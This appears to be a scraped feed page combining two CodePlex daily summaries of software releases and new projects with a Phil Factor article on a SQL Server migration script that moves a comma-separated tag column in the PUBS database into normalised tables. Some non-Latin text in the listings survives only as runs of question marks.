  CodePlex Daily Summary for Sunday, May 11, 2014Popular ReleasesGMare: GMare Beta 1.0: Features Added: Overhauled interface Re-wrote most controls and forms Automatic room creation on application open Room properties bar to change various room properties Now able to use a background from a supported Game Maker project file Block instances implemented More instance editing features like multi-Select, cherry pick select, replace, and set position More instance options on the instance list Flexible XML based .gmpx human readable project file format Game...Readable Passphrase Generator: KeePass Plugin 0.13.0: Version 0.13.0 Added "mutators" which add uppercase and numbers to passphrases (to help complying with upper, lower, number complexity rules). Additional API methods which help consuming the generator from 3rd party c# projects. 13,160 words in the default dictionary (~600 more than previous release).CS-Script for Notepad++ (C# intellisense and code execution): Release v1.0.25.0: Release v1.0.25.0 MemberInfo/MethodInfo popup is now positioned properly to fit the screen In MethodInfo popup method signatures are word-wrapped Implemented Debug text value visualizer Pining sub-values from Watch PanelxFunc: xFunc 2.15.3: Added #53TerraMap (Terraria World Map Viewer): TerraMap 1.0.3.14652: Added support for the new Terraria v1.2.4 update. New items, walls, and tiles The setup file will make sure .NET 4 is installed, install TerraMap, create desktop and start menu shortcuts, add a .wld file association, and launch TerraMap. If you prefer the zip file, make sure you have .NET Framework v4.5 installed, then just download and extract the ZIP file, and run TerraMap.exe.R.NET: R.NET 1.5.12: R.NET 1.5.12 is a beta release towards R.NET 1.6. You are encouraged to use 1.5.12 now and give feedback. See the documentation for setup and usage instructions. Main changes for R.NET 1.5.12: The C stack limit was not disabled on Windows. For reasons possibly peculiar to R, this means that non-concurrent access to R from multiple threads was not stable. This is now fixed, with the fix validated with a unit test. Thanks to Odugen, skyguy94, and previously others (evolvedmicrobe, tomasp) fo...CTI Text Encryption: CTI Text Encryption 5.2: Change log: 5.2 - Remove Cut button. - Fixed Reset All button does not reset encrypted text column. - Switch button location between Copy and Paste. - Enable users to use local fonts to display characters of their language correctly. (A font settings file will be saved at the same folder of this program.) 5.1 - Improve encryption process. - Minor UI update. - Version 5.1 is not compatible with older version. 5.0 - Improve encryption algorithm. - Simply inner non-encryption related mec...Aspose for Apache POI: Missing Features of Apache POI SS - v 1.1: Release contain the Missing Features in Apache POI SS SDK in comparison with Aspose.Cells What's New ?Following Examples: Set Print Titles Create Pivot Table Convert Charts to images Formula Calculation Engine Import Data to Worksheets Export Data from Worksheets Tracing Precedents and Dependents Feedback and Suggestions Many more examples are yet to come here. Keep visiting us. Raise your queries and suggest more examples via Aspose Forums or via this social coding site.SEToolbox: SEToolbox 01.029.006 Release 1: Fix to allow keyboard search on load dialog. (type the first few letters of your save) Fixed check for new release. Changed the way ship details are loaded to alleviate load time for worlds with very large ships (100,000+ blocks). Fixed Image importer, was incorrectly listing 'Asteroid' as import option. Minor changes to menus (text and appearance) for clarity and OS consistency. Added in reading of world palette for color dialog editor. WIP on subsystem editor. Can now multiselec...Danmu2Ass —— ??xml/json?Ass: Danmu2Ass 1.1: ????Danmu2Ass?????????xml/json???????ASS????????。?????????????。 ?????.NET Framework 4.0??，??????Niconvert??，????????IronPython 2.7。 1.1????????python????，?????????。 ??????python?????????????，?????”niconvert.py“????exe???????，?????????。 ?????????????????????”niconvert.py“??，??ASS HEADER TPL????????。 ??????.NET 4.0!QuickMon: Version 3.9: First official release of the PowerShell script Collector. Corrective script can now also be PowerShell scripts! There are a couple of internal bugfixes to the core components as well. e.g. Overriding remote host setting now applies to ALL child collectors Main UI app now indicates (in Window title) if there are changes that needs to be saved. Polling frequency can be adjusted by 'slide bar' Note: If you have issues with the new PowerShell script collector please see my post about issu...Tiny Wifi Host: Tiny Wifi Host 3.0.0.0: Tiny Wifi Hotspot Creator (Portable) v3 size: 50KB-140KB New Features: Friendly name for connected devices instead of Mac-Address (Double click selected device to enter friendly name) Saves device names to devices.xml Better error reporting+solutions Warning sound when number of connected devices exceed a certain number. (useful when only certain number of devices must be connected at a time) Many Bug Fixes. NoAudio files does not include connect, disconnect and warning audio to dec...Media Companion: Media Companion MC3.597b: Thank you for being patient, againThere are a number of fixes in place with this release. and some new features added. Most are self explanatory, so check out the options in Preferences. Couple of new Features:* Movie - Allow save Title and Sort Title in Title Case format. * Movie - Allow save fanart.jpg if movie in folder. * TV - display episode source. Get episode source from episode filename. Fixed:* Movie - Added Fill Tags from plot keywords to Batch Rescraper. * Movie - Fixed TMDB s...SimCityPak: SimCityPak 0.3.0.0: Contains several bugfixes, newly identified properties and some UI improvements. Main new features UI overhaul for the main index list: Icons for each different index, including icons for different property files Tooltips for all relevant fields Removed clutter Identified hundreds of additional properties (thanks to MaxisGuillaume) - this should make modding gameplay easierMagick.NET: Magick.NET 6.8.9.002: Magick.NET linked with ImageMagick 6.8.9.0.VidCoder: 1.5.22 Beta: Added ability to burn SRT subtitles. Updated to HandBrake SVN 6169. Added checks to prevent VidCoder from running with a database version newer than it expects. Tooltips in the Advanced Video panel now trigger on the field labels as well as the fields themselves. Fixed updating preset/profile/tune/level settings on changing video encoder. This should resolve some problems with QSV encoding. Fixed tunes and profiles getting set to blank when switching between x264 and x265. Fixed co...NuGet: NuGet 2.8.2: We will be releasing a 2.8.2 version of our own NuGet packages and the NuGet.exe command-line tool. The 2.8.2 release will not include updated VS or WebMatrix extensions. NuGet.Server.Extensions.dll needs to be used alongside NuGet-Signed.exe to provide the NuGet.exe mirror functionality.SmartStore.NET - Free ASP.NET MVC Ecommerce Shopping Cart Solution: SmartStore.NET 2.0.2: SmartStore.NET 2.0.2 is primarily a maintenance release for version 2.0.0, which has been released on April 04 2014. It contains several improvements & important fixes. BugfixesIMPORTANT FIX: Memory leak leads to OutOfMemoryException in application after a while Installation fix: some varchar(MAX) columns get created as varchar(4000). Added a migration to fix the column specs. Installation fix: Setup fails with exception Value cannot be null. Parameter name: stream Bugfix for stock iss...Channel9's Absolute Beginner Series: Windows Phone 8.1: Entire source code for Windows Phone 8.1 Absolute Beginner Series.BIDS Helper: BIDS Helper 1.6.6: This BIDS Helper beta release brings support for SQL Server 2014 and SSDTBI for Visual Studio 2013. (Note that SSDTBI for Visual Studio 2013 is currently unavailable to download from Microsoft. We are releasing BIDS Helper support to help those who downloaded it before it became unavailable, and we will recheck BIDS Helper 2014 is compatible after SSDTBI becomes available to download again.) BIDS Helper 2014 Beta Limitations: SQL Server 2014 support for Biml is still in progress, so this bet...New ProjectsAcutype: Simple program that enables you to practice typing by copying out passages from books.Bass Guitar Trainer: Bass Guitar Trainer is a free application for mastering a bass guitar. Application contains also metronome and drum machineCareer Tools: Career Tools - Track your contacts when searching for a new job A simple tool built in ASP.Net MVC 5EmptyWallGallery: Test EmptyWallGalleryGames Case Project: Final year project at Northumbria University. LINQ To OWIN: LINQ to OWIN is middleware that allows you to code your Katana/OWIN web applications as a set of reactive queries using Rx (Reactive Extensions) for .NET.Orchard ContentExtension: The ContentExtension module, extends the core of the Orchard framework in order to provide a better performance. P4 Compiler: P4 ftwRevolioReader: Browse, read and download books and magazines from Revolio.Sync Email to SharePoint list: This use to sync the exchange mail box to SharePoint listVirtual Radar Server: A .NET/Mono web server that decodes Mode-S & ADS-B messages and displays the location of aircraft on a Google Maps map.??????-??????【??】??????????: ???????????????????,????,????,????,???????,?????,?????.??????。 ?????-?????【??】???????: ???????????????、??,??,??,??,??? ?,??,,??,??,??,??,??,??,????????,??????！ ?????-?????【??】?????????: ???????????????????????????:???????,??????,????,????,????,?????！ ???????-???????【??】???????????: ??????????,??????????????????????,???????????????,?????????????！ ???????-???????【??】???????????: ???????????????????????,?????, ... ????????????,????,????,?????,???????。 ?????-?????【??】?????????: ?????????????,????????,?????,???,???????????,???????????,?????,??????！??????-??????【??】????????: ???????????????????，?????????/?,,???????????,??????????????!??????-??????【??】??????????: ?????????????????????,?????????、??、??、????,??????????,?????????????！??????-??????【??】??????????: ???????????、????、????、??????????,???,?????,???????????????. ??????-??????【??】??????????: ????????????????、?????,????????????????????,????,????,??????。 ??????-??????【??】??????????: ????????????????,?????????????? ??。??????????、????、????、?????????? ???????。 ??????-??????【??】??????????: ??????????????????,???、???!???????,????????????????,????????????,???! ????-????【??】????????: ?????????????,????,???????、???????????,???????????,????,?????,???????。 ?????-?????【??】?????????: ?????????????????、?????、?????、?????、?????、????,???????????,?????,??????！

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• CodePlex Daily Summary for Sunday, August 26, 2012

  CodePlex Daily Summary for Sunday, August 26, 2012Popular ReleasesPhysics Helper XAML: Physics Helper XAML 1.1.0.0: This release supports creation of 2D Physics apps for Windows 8 RTM, Windows Phone 7.1 development, and Silverlight 5. It includes source code and samples in three separate solutions.TouchInjector: TouchInjector 1.0: Version 1.0BlackJumboDog: Ver5.7.1: 2012.08.25 Ver5.7.1 (1)?????·?????LING?????????????? (2)SMTP???（????）????、?????\?????????????????????Peulot Heshbon: Peulot Heshbon version 3.0.0: Available quizzes:Plus for Natural, Real and fragments Minus for Natural, Real and fragments Multiplication for Natural, Real and fragments Divide for Natural, Real and fragments Random for Natural, Real and fragments Compare 2 percentages Compare 2 fragments (Just for easy difficulty) Check if a number can be divided with another number exactly. Available Languages:Hebrew English Russian What's NewAdded new quiz: Compare 2 fragments. It is available only if you are in Eas...Visual Studio Team Foundation Server Branching and Merging Guide: v2 - Visual Studio 2012: Welcome to the Branching and Merging Guide Quality-Bar Details Documentation has been reviewed by Visual Studio ALM Rangers Documentation has been through an independent technical review Documentation has been reviewed by the quality and recording team All critical bugs have been resolved Known Issues / Bugs Spelling, grammar and content revisions are in progress. Hotfix will be published.Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.62: Fix for issue #18525 - escaped characters in CSS identifiers get double-escaped if the character immediately after the backslash is not normally allowed in an identifier. fixed symbol problem with nuget package. 4.62 should have nuget symbols available again.nopCommerce. Open source shopping cart (ASP.NET MVC): nopcommerce 2.65: As some of you may know we were planning to release version 2.70 much later (the end of September). But today we have to release this intermediate version (2.65). It fixes a critical issue caused by a third-party assembly when running nopCommerce on a server with .NET 4.5 installed. No major features have been introduced with this release as our development efforts were focused on further enhancements and fixing bugs. To see the full list of fixes and changes please visit the release notes p...MyRouter (Virtual WiFi Router): MyRouter 1.2.9: . Fix: Some missing changes for fixing the window subclassing crash. · Fix: fixed bug when Run MyRouter at the first Time. · Fix: Log File · Fix: improve performance speed application · fix: solve some Exception.eel Browser: eel 1.1.0.41 beta: Improved UI New features Bug fixesDynamics CRM 2011 Dummy Entity: First Release: This has been tested on CRM 2011 RU8 On-Premise IFD. Known Issue: The Test Dummy CRM page load event may throw an exception loading the first time as the iframe may not have finished loading. I have not been able to get the iframe OnReadyStateChange event to fire. But it is only a sample anyway. The zip file contains: Dummy Entity Visual studio solution. Test Dummy Visual Studio solution. Dummy Entity CRM Solution Test Dummy CRM Solution Installation: Unzip and import the CRM Solutions...Private cloud DMS: Essential server-client full package: Requirements: - SQL server >= 2008 (minimal Express - for Essential recommended) - .NET 4.0 (Server) - .NET 4.0 Client profile (Client) This version allow: - full file system functionality Restrictions: - Maximum 2 parallel users - No share spaces - No hosted business groups - No digital sign functionality - No ActiveDirectory connector - No Performance cache - No workflow - No messagingJavaScript Prototype Extensions: Release 1.1.0.0: Release 1.1.0.0 Add prototype extension for object. Add prototype extension for array.Glyphx: Version 1.2: This release includes the SdlDotNet.dll dependency in the setup, which you will need.TFS Project Test Migrator: TestPlanMigration v1.0.0: Release 1.0.0 This first version do not create the test cases in the target project because the goal was to restore a Test Plan + Test Suite hierarchy after a manual user deletion without restoring all the Project Collection Database. As I discovered, deleting a Test Plan will do the following : - Delete all TestSuiteEntry (the link between a Test Suite node and a Test Case) - Delete all TestSuite (the nodes in the test hierarchy), including root TestSuite - Delete the TestPlan Test c...ERPStore eCommerce FrontOffice: ERPStore.Core V4.0.0.2 MVC4 RTM: ERPStore.Core V4.0.0.2 MVC4 RTM (Code Source)ZXing.Net: ZXing.Net 0.8.0.0: sync with rev. 2393 of the java version improved API, direct support for multiple barcode decoding, wrapper for barcode generating many other improvements and fixes encoder and decoder command line clients demo client for emguCV dev documentation startedScintillaNET: ScintillaNET 2.5.1: This release has been built from the 2.5 branch. Issues closed: Issue # Title 32524 32524 32550 32550 32552 32552 25148 25148 32449 32449 32551 32551 32711 32711 MFCMAPI: August 2012 Release: Build: 15.0.0.1035 Full release notes at SGriffin's blog. If you just want to run the MFCMAPI or MrMAPI, get the executables. If you want to debug them, get the symbol files and the source. The 64 bit builds will only work on a machine with Outlook 2010 64 bit installed. All other machines should use the 32 bit builds, regardless of the operating system. Facebook BadgeDocument.Editor: 2013.2: Whats new for Document.Editor 2013.2: New save as Html document Improved Traslate support Minor Bug Fix's, improvements and speed upsPulse: Pulse Beta 5: Whats new in this release? Well to start with we now have Wallbase.cc Authentication! so you can access favorites or NSFW. This version requires .NET 4.0, you probably already have it, but if you don't it's a free and easy download from Microsoft. Pulse can bet set to start on Windows startup now too. The Wallpaper setter has settings now, so you can change the background color of the desktop and the Picture Position (Tile/Center/Fill/etc...) I've switched to Windows Forms instead of WPF...New Projects508 Compliance Validator: This tool checks aspx and ascx pages against 508 Accessibilty guidelines and also allows you to add your own rules.BF for WP: BF for WP is a visual Brainfuck interpter for Windows Phone.Climate Control: App lets you vote on whether you're too hot or too cold so the dummy next to the air con controls can adjust the thermostat.Custom Captcha Plugin for Kooboo CMS for adding content or sending feedback: Custom Captcha Plugin for Kooboo CMS for adding content or sending feedbackGalleryDownloader: This project takes aim on downloading free photogalleries through the Internet. Highly Maintainable Web Services: The Highly Maintainable Web Services project is a reference architecture application for .NET that demonstrates how to build highly maintainable web services.Its.Validation: A C# DSL for writing rules in a composable, functional style.Kaku by wifi: The projects purpose: Make your phone a part of your house hold by being able to control certail elektric devices with your phone such as, light, electric curtaLogin with Google in ASP.Net MVC3 & Get data from Google User: ASP.Net developer can use this code: asp.net mvc3 web project which contains login with google and pull data from user's google accountMabiCommerce: MabiCommerce is an advanced Commerce Calculator for the MMORPG Mabinogi.Mapture the FLAG: A location based game for wp7mn: sumSharePoint 2010: SharePoint 2010 utilitiesSHIORI.NET: ???SHIORI????????????????????Temp and Stress: Tieni sotto controllo le temperature della tua CPU e effettua Stress Test e Benchmark!VisiblityControl – An Alternative to Converters: A templated content control hosting to remove the pain of using the BooleanToVisibilityConverter. The property IsTrue determines what is shown.Whatsnexx Integration for Orchard CMS: Orchard Whatsnexx makes it easier for Orchard users to send an event to the Whatsnexx Ticket Bus service API, of the Whatsnexx GatewayWINRT \ Metro Store \ open marketing solution: This project is aimed at creating a public shopping cart, that is available to all windows 8 users free. products are screened added by administrators

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• Database Migration Scripts: Getting from place A to place B

  - by Phil Factor

  We’ll be looking at a typical database ‘migration’ script which uses an unusual technique to migrate existing ‘de-normalised’ data into a more correct form. So, the book-distribution business that uses the PUBS database has gradually grown organically, and has slipped into ‘de-normalisation’ habits. What’s this? A new column with a list of tags or ‘types’ assigned to books. Because books aren’t really in just one category, someone has ‘cured’ the mismatch between the database and the business requirements. This is fine, but it is now proving difficult for their new website that allows searches by tags. Any request for history book really has to look in the entire list of associated tags rather than the ‘Type’ field that only keeps the primary tag. We have other problems. The TypleList column has duplicates in there which will be affecting the reporting, and there is the danger of mis-spellings getting there. The reporting system can’t be persuaded to do reports based on the tags and the Database developers are complaining about the unCoddly things going on in their database. In your version of PUBS, this extra column doesn’t exist, so we’ve added it and put in 10,000 titles using SQL Data Generator. /* So how do we refactor this database? firstly, we create a table of all the tags. */IF  OBJECT_ID('TagName') IS NULL OR OBJECT_ID('TagTitle') IS NULL  BEGIN  CREATE TABLE  TagName (TagName_ID INT IDENTITY(1,1) PRIMARY KEY ,     Tag VARCHAR(20) NOT NULL UNIQUE)  /* ...and we insert into it all the tags from the list (remembering to take out any leading spaces */  INSERT INTO TagName (Tag)     SELECT DISTINCT LTRIM(x.y.value('.', 'Varchar(80)')) AS [Tag]     FROM     (SELECT  Title_ID,          CONVERT(XML, '<list><i>' + REPLACE(TypeList, ',', '</i><i>') + '</i></list>')          AS XMLkeywords          FROM   dbo.titles)g    CROSS APPLY XMLkeywords.nodes('/list/i/text()') AS x ( y )  /* we can then use this table to provide a table that relates tags to articles */  CREATE TABLE TagTitle   (TagTitle_ID INT IDENTITY(1, 1),   [title_id] [dbo].[tid] NOT NULL REFERENCES titles (Title_ID),   TagName_ID INT NOT NULL REFERENCES TagName (Tagname_ID)   CONSTRAINT [PK_TagTitle]       PRIMARY KEY CLUSTERED ([title_id] ASC, TagName_ID)       ON [PRIMARY])        CREATE NONCLUSTERED INDEX idxTagName_ID  ON  TagTitle (TagName_ID)  INCLUDE (TagTitle_ID,title_id)        /* ...and it is easy to fill this with the tags for each title ... */        INSERT INTO TagTitle (Title_ID, TagName_ID)    SELECT DISTINCT Title_ID, TagName_ID      FROM        (SELECT  Title_ID,          CONVERT(XML, '<list><i>' + REPLACE(TypeList, ',', '</i><i>') + '</i></list>')          AS XMLkeywords          FROM   dbo.titles)g    CROSS APPLY XMLkeywords.nodes('/list/i/text()') AS x ( y )    INNER JOIN TagName ON TagName.Tag=LTRIM(x.y.value('.', 'Varchar(80)'))    END    /* That's all there was to it. Now we can select all titles that have the military tag, just to try things out */SELECT Title FROM titles  INNER JOIN TagTitle ON titles.title_ID=TagTitle.Title_ID  INNER JOIN Tagname ON Tagname.TagName_ID=TagTitle.TagName_ID  WHERE tagname.tag='Military'/* and see the top ten most popular tags for titles */SELECT Tag, COUNT(*) FROM titles  INNER JOIN TagTitle ON titles.title_ID=TagTitle.Title_ID  INNER JOIN Tagname ON Tagname.TagName_ID=TagTitle.TagName_ID  GROUP BY Tag ORDER BY COUNT(*) DESC/* and if you still want your list of tags for each title, then here they are */SELECT title_ID, title, STUFF(  (SELECT ','+tagname.tag FROM titles thisTitle    INNER JOIN TagTitle ON titles.title_ID=TagTitle.Title_ID    INNER JOIN Tagname ON Tagname.TagName_ID=TagTitle.TagName_ID  WHERE ThisTitle.title_id=titles.title_ID  FOR XML PATH(''), TYPE).value('.', 'varchar(max)')  ,1,1,'')    FROM titles  ORDER BY title_ID So we’ve refactored our PUBS database without pain. We’ve even put in a check to prevent it being re-run once the new tables are created. Here is the diagram of the new tag relationship We’ve done both the DDL to create the tables and their associated components, and the DML to put the data in them. I could have also included the script to remove the de-normalised TypeList column, but I’d do a whole lot of tests first before doing that. Yes, I’ve left out the assertion tests too, which should check the edge cases and make sure the result is what you’d expect. One thing I can’t quite figure out is how to deal with an ordered list using this simple XML-based technique. We can ensure that, if we have to produce a list of tags, we can get the primary ‘type’ to be first in the list, but what if the entire order is significant? Thank goodness it isn’t in this case. If it were, we might have to revisit a string-splitter function that returns the ordinal position of each component in the sequence. You’ll see immediately that we can create a synchronisation script for deployment from a comparison tool such as SQL Compare, to change the schema (DDL). On the other hand, no tool could do the DML to stuff the data into the new table, since there is no way that any tool will be able to work out where the data should go. We used some pretty hairy code to deal with a slightly untypical problem. We would have to do this migration by hand, and it has to go into source control as a batch. If most of your database changes are to be deployed by an automated process, then there must be a way of over-riding this part of the data synchronisation process to do this part of the process taking the part of the script that fills the tables, Checking that the tables have not already been filled, and executing it as part of the transaction. Of course, you might prefer the approach I’ve taken with the script of creating the tables in the same batch as the data conversion process, and then using the presence of the tables to prevent the script from being re-run. The problem with scripting a refactoring change to a database is that it has to work both ways. If we install the new system and then have to rollback the changes, several books may have been added, or had their tags changed, in the meantime. Yes, you have to script any rollback! These have to be mercilessly tested, and put in source control just in case of the rollback of a deployment after it has been in place for any length of time. I’ve shown you how to do this with the part of the script .. /* and if you still want your list of tags for each title, then here they are */SELECT title_ID, title, STUFF(  (SELECT ','+tagname.tag FROM titles thisTitle    INNER JOIN TagTitle ON titles.title_ID=TagTitle.Title_ID    INNER JOIN Tagname ON Tagname.TagName_ID=TagTitle.TagName_ID  WHERE ThisTitle.title_id=titles.title_ID  FOR XML PATH(''), TYPE).value('.', 'varchar(max)')  ,1,1,'')    FROM titles  ORDER BY title_ID …which would be turned into an UPDATE … FROM script. UPDATE titles SET  typelist= ThisTaglistFROM     (SELECT title_ID, title, STUFF(    (SELECT ','+tagname.tag FROM titles thisTitle      INNER JOIN TagTitle ON titles.title_ID=TagTitle.Title_ID      INNER JOIN Tagname ON Tagname.TagName_ID=TagTitle.TagName_ID    WHERE ThisTitle.title_id=titles.title_ID    ORDER BY CASE WHEN tagname.tag=titles.[type] THEN 1 ELSE 0  END DESC    FOR XML PATH(''), TYPE).value('.', 'varchar(max)')    ,1,1,'')  AS ThisTagList  FROM titles)fINNER JOIN Titles ON f.title_ID=Titles.title_ID You’ll notice that it isn’t quite a round trip because the tags are in a different order, though we’ve managed to make sure that the primary tag is the first one as originally. So, we’ve improved the database for the poor book distributors using PUBS. It is not a major deal but you’ve got to be prepared to provide a migration script that will go both forwards and backwards. Ideally, database refactoring scripts should be able to go from any version to any other. Schema synchronization scripts can do this pretty easily, but no data synchronisation scripts can deal with serious refactoring jobs without the developers being able to specify how to deal with cases like this.

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